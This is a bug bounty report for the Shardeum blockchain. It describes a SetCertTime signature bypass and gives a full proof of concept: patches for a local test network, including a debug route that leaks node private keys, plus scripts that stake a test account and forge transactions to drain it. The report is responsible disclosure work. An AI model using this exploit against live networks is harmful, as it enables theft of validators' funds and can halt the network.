Submitted on Feb 8th 2025 at 00:38:00 UTC by @Blockian for Audit Comp | Shardeum: Core III
Report Type: Blockchain/DLT
Report severity: Critical
Target: https://github.com/shardeum/shardeum/tree/bugbounty
Impacts:
Network not being able to confirm new transactions (total network shutdown)
Description
Impact
Bypass the signature of SetCertTime
transaction, which allows for draining any validators balance.
Note: same impact as report 33750 but a different root cause.
Root Cause
There is an inconsistency between the function isSetCertTimeTx
and the function isInternalTx , specifically with regards to .tx.isInternalTx
. This makes it so that SetCertTime
transactions with .tx.isInternalTx = true
don't undergo SetCertTime
validation.
Attack Flow
A malicious user submits a SetCertTime
transaction on behalf of someone else (nominator == victim
), causing a fee to be deducted from their account. The malicious user can then continue doing so until the node is kicked / drained.
Deep Dive
When validating a SetCertTime
transaction, the function validateTxnFields
which is used to validate transaction fields calls isSetCertTimeTx
to decide if it should call validateSetCertTimeTx
which validates properties of the transaction, including its signer's identity .
isSetCertTimeTx
returns false
if tx.isInternalTx
isn't set to true
, even if tx.internalTXType === InternalTXType.SetCertTime
:
Copy export function isSetCertTimeTx(tx): boolean {
if (tx.isInternalTx && tx.internalTXType === InternalTXType.SetCertTime) {
return true
}
return false
}
When applying a SetCertTime
transaction, the check is :
Copy internalTx.internalTXType === InternalTXType.SetCertTime
in order to call applySetCertTimeTx
even if tx.isInternalTx
isn't set to true
, as long as isInternalTx returns true
, which can happen if tx.tx.isInternalTx
is true
:
Copy export function isInternalTx(timestampedTx: any): boolean {
if (timestampedTx && timestampedTx.raw) return false
if (timestampedTx && timestampedTx.isInternalTx) return true
if (timestampedTx && timestampedTx.tx && timestampedTx.tx.isInternalTx) return true // <-- HERE
return false
}
The fee is then subtracted from the victim's balance in applySetCertTimeTx
here .
Suggested Fix
I suggested to do 3 things:
Only use the isInternalTx
function, never use .isInternalTx
Only use the isSetCertTimeTx
function, never compare internelTxType
Remove the third check from isInternalTx
as it is not used
Severity
This allows to kick validators and do drain funds, and so it critical.
In addition, this is the same as 33750 which was classified as critical.
Proof of Concept
POC
All of shardeum
, core
, and json-rpc-server
should be on the bugbounty
branch
Apply debug-10-nodes
as stated in the docs
Apply the following patch on core (the logs are optional):
Copy diff --git a/src/logger/index.ts b/src/logger/index.ts
index bfabe928..2c4fae5a 100644
--- a/src/logger/index.ts
+++ b/src/logger/index.ts
@@ -148,7 +148,7 @@ export let logFlags: LogFlags = {
net_rust: false,
net_verbose: false,
net_stats: false,
- dapp_verbose: false,
+ dapp_verbose: true,
profiling_verbose: false,
aalg: false,
diff --git a/src/shardus/index.ts b/src/shardus/index.ts
index f29206b8..5003889a 100644
--- a/src/shardus/index.ts
+++ b/src/shardus/index.ts
@@ -2911,6 +2911,22 @@ class Shardus extends EventEmitter {
* Register the exit and config routes
*/
_registerRoutes() {
+ this.network.registerExternalGet('bugbounty', async (req, res) => {
+ const info = {
+ active: Self.isActive,
+ ip: Self.ip,
+ port: Self.port
+ }
+ if (Self.isActive) {
+ info['id'] = Self.id
+ info['public_key'] = Context.crypto.keypair.publicKey
+ info['private_key'] = Context.crypto.keypair.secretKey
+ info['active_nodes'] = NodeList.activeByIdOrder
+ info['archivers'] = [...Archivers.archivers.values()]
+ info['hash_key'] = config.crypto.hashKey
+ }
+ res.send(info)
+ })
// DEBUG routes
this.network.registerExternalPost('exit', isDebugModeMiddlewareHigh, async (_req, res) => {
res.json({ success: true })
Apply the following patch on shardeum
Copy diff --git a/src/config/genesis.json b/src/config/genesis.json
index 53aeee7e..65e5cc1b 100644
--- a/src/config/genesis.json
+++ b/src/config/genesis.json
@@ -89,6 +89,9 @@
"0x0c799D15c3f2e9dAf10677aD09565E93CAc3e4c4": {
"wei": "1001000000000000000000"
},
+ "0xE0291324263D7EC15fa3494bFDc1e902d8bd5d3d": {
+ "wei": "10000000000000000000000000"
+ },
"0xEbe173a837Bc30BFEF6E13C9988a4771a4D83275": {
"wei": "1001000000000000000000"
},
Run the network with 10 nodes
Wait for all the nodes to be active
Run the following code, to create a staking account:
Copy import { ethers } from "ethers";
import { fromAscii } from "@ethereumjs/util";
// dont forget to add to src/config.genesis.json in shardeum, see server_genesis.patch
const VICTIM_WALLET = {
address: "0xE0291324263D7EC15fa3494bFDc1e902d8bd5d3d",
privateKey: "0x759418c4f40e463452b15eda4b27478d152f2a2c04e6cd324fb620a9eede6021"
}
const JSON_RPC_URL = "http://127.0.0.1:8080";
async function sendStakeTransaction() {
const stake_to_address = "0x0000000000000000000000000000000000010000";
const stake_data = {
stake: 10000000000000000000,
internalTXType: 6, // Stake
nominee: VICTIM_WALLET.address.replace('0x', '').padEnd(64, '0'),
nominator: VICTIM_WALLET.address,
};
const provider = new ethers.providers.JsonRpcProvider(JSON_RPC_URL);
const wallet = new ethers.Wallet(VICTIM_WALLET.privateKey, provider);
const stake_tx = {
to: stake_to_address,
value: BigInt(10000000000000000000),
data: fromAscii(JSON.stringify(stake_data))
};
const tx = await wallet.sendTransaction(stake_tx);
const receipt = await tx.wait();
return receipt;
}
await sendStakeTransaction()
Run the following code, to start draining the staking account:
Copy import axios from "axios";
import crypto from '@shardus/crypto-utils';
crypto.init("69fa4195670576c0160d660c3be36556ff8d504725be8a59b5a96509e0c994bc")
const VICTIM_WALLET = {
address: "0xE0291324263D7EC15fa3494bFDc1e902d8bd5d3d",
privateKey: "0x759418c4f40e463452b15eda4b27478d152f2a2c04e6cd324fb620a9eede6021"
}
const sleep = (ms) => new Promise(resolve => setTimeout(resolve, ms))
const main = async () => {
console.log("Grabbing Nodelist ....");
let res = await axios.get('http://0.0.0.0:4000/nodelist')
const nodelist = res.data.nodeList
const randomNode = nodelist[Math.floor(Math.random() * nodelist.length)]
const setCertTimeTx = {
tx: {isInternalTx: true},
internalTXType: 5,
nominee: "",
nominator: "",
duration: 19,
timestamp: Date.now() + 1000,
}
setCertTimeTx.nominator = VICTIM_WALLET.address
setCertTimeTx.nominee = VICTIM_WALLET.address.replace('0x', '').padEnd(64, '0');
const nominator = setCertTimeTx.nominator.replace('0x', '').padEnd(64, '0')
const before = await axios.get(`http://${randomNode.ip}:${randomNode.port}/account/${nominator}`)
console.log("Balance and certExp before attack --------------------------------------")
console.log(before.data);
console.log("Constructing InternalTx setCertTime: ", setCertTimeTx)
const url = `http://${randomNode.ip}:${randomNode.port}/bugbounty`
res = await axios.get(url)
if (!res.data.active) {
console.log('ERROR - Attacker node is not active.')
return
}
const CONFIG = res.data
crypto.init(CONFIG['hash_key'])
const ATTACKER_PUBLIC_KEY=CONFIG['public_key']
const ATTACKER_PRIVATE_KEY=CONFIG['private_key']
crypto.signObj(setCertTimeTx, ATTACKER_PRIVATE_KEY, ATTACKER_PUBLIC_KEY)
console.log("Signing InternalTx setCertTime: ", setCertTimeTx)
console.log("Firing InternalTx setCertTime ....")
res = await axios.post(`http://${randomNode.ip}:${randomNode.port}/inject`, setCertTimeTx)
if(!res.data.success) throw new Error(res.data.reason)
console.log(`http://${randomNode.ip}:${randomNode.port}/inject`)
console.log("Waiting 120 sec for transaction to be finalized");
await sleep(120000)
const after = await axios.get(`http://${randomNode.ip}:${randomNode.port}/account/${nominator}`)
console.log("Balance and certExp after attack --------------------------------------")
console.log(after.data);
}
main();
NOTE: This POC uses a node as the attacker just because it is guaranteed to have an account and I know its private key. Any account would do.